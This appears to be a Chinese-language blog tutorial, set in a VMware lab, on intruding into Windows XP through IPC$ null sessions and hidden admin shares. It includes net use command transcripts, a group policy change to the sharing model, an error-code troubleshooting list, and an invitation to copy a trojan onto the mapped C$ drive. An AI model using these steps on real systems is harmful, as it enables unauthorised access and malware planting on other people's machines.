搭建实验环境,这里用的VMware7虚拟机,客户机系统是win xp的英文版sp3的,
主机系统是windowsxp sp3:
摘抄一段概念:
- IPC是共享“命名管道”的资源,它对于程序间的通讯很重要。在远程管理计算机和查看计算机的共享资源时使用。利用IPC我们可以与目标主机建立一个空的连接(无需用户名与密码),而利用这个空的连接,我们还可以得到目标主机上的用户列表。但是,一些别有用心者会利用IPC,查找我们的用户列表,并使用一些字典工具,对我们的主机进行攻击。
无非就是些默认共享,带$的,隐藏的,便于windows远程管理使用,被黑客拿来利用了。
打开命令行net share一下能看到这些默认共享:
如果你不喜欢命令行,右键我的电脑,管理,看到共享了没,也行:
那些带$就是默认共享,网上邻居共享里看不到地。
下面操作,我的电脑资源管理器,工具菜单或者右击网上邻居---选择映射网络驱动器:
输入共享文件夹后,这样映射到本地的Z:,之后就像本地驱动盘那样操作z盘,copy粘帖你的木马吧:
这里,我的本机登录用户是administrator,客户机存在这样的帐号,所以也没提示输入用户名密码之类的。
注意:对于xp系统来说,虚拟机xp里还要求需要开启一个东西
组策略gpedit.msc(运行里),本地安全--本地策略-安全选项
网络访问:本地共享安全模型
把使用来宾帐号认证的改成本地帐号验证。
否则是没法子执行上面的操作。
当然用命令行方式也可以ipc$入侵:
为了切换一个帐号登录,虚拟机里面新建了一个test帐号,然后我们从虚拟机入侵主机(主机的组策略那里改过来):
- Microsoft Windows XP [Version 5.1.2600]
- (C) Copyright 1985-2001 Microsoft Corp.
- C:\Documents and Settings\test>net use \\192.168.1.106\ipc$
- The command completed successfully.
- C:\Documents and Settings\test>net use x: \\192.168.1.106\c$
- Enter the user name for '192.168.1.106': administrator
- Enter the password for 192.168.1.106:
- System error 67 has occurred.
- The network name cannot be found.
- C:\Documents and Settings\test>net use
- New connections will be remembered.
- Status Local Remote Network
- -------------------------------------------------------------------------------
- OK \\192.168.1.106\ipc$ Microsoft Windows Network
- The command completed successfully.
- C:\Documents and Settings\test>net use * /del
- You have these remote connections:
- \\192.168.1.106\ipc$
- Continuing will cancel the connections.
- Do you want to continue this operation? (Y/N) [N]: y
- The command completed successfully.
- C:\Documents and Settings\test>net use
- New connections will be remembered.
- There are no entries in the list.
- C:\Documents and Settings\test>net use \\192.168.1.106\ipc$
- The command completed successfully.
- C:\Documents and Settings\test>net use x: \\192.168.1.106\c$
- Enter the user name for '192.168.1.106': administrator
- Enter the password for 192.168.1.106:
- System error 67 has occurred.
- The network name cannot be found.
- C:\Documents and Settings\test>net use x: \\192.168.1.106\c$
- The password is invalid for \\192.168.1.106\c$.
- Enter the user name for '192.168.1.106': administrator
- Enter the password for 192.168.1.106:
- Enter the user name for '192.168.1.106': administrator
- Enter the password for 192.168.1.106:
- System error 1219 has occurred.
- Multiple connections to a server or shared resource by the same user, using more
- than one user name, are not allowed. Disconnect all previous connections to the
- server or shared resource and try again..
- C:\Documents and Settings\test>net use
- New connections will be remembered.
- Status Local Remote Network
- -------------------------------------------------------------------------------
- OK \\192.168.1.106\ipc$ Microsoft Windows Network
- The command completed successfully.
- C:\Documents and Settings\test>net use * /del
- You have these remote connections:
- \\192.168.1.106\ipc$
- Continuing will cancel the connections.
- Do you want to continue this operation? (Y/N) [N]: y
- The command completed successfully.
- C:\Documents and Settings\test>net use x: \\192.168.1.106\c$
- The password is invalid for \\192.168.1.106\c$.
- Enter the user name for '192.168.1.106': administrator
- Enter the password for 192.168.1.106:
- System error 5 has occurred.
- Access is denied.
- C:\Documents and Settings\test>
常见错误:
- 错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
- 错误号51,Windows 无法找到网络路径 : 网络有问题;
- 错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
- 错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
- 错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
- 错误号1326,未知的用户名或错误密码 : 原因很明显了;
- 错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
- 错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
windows xp下常见错误情况:
组策略未开启经典模式,而是仅来宾的权限。
可能管理员空密码,组策略设置了空密码不允许终端连入或者c$隐藏共享压根没有开启。
现在成功了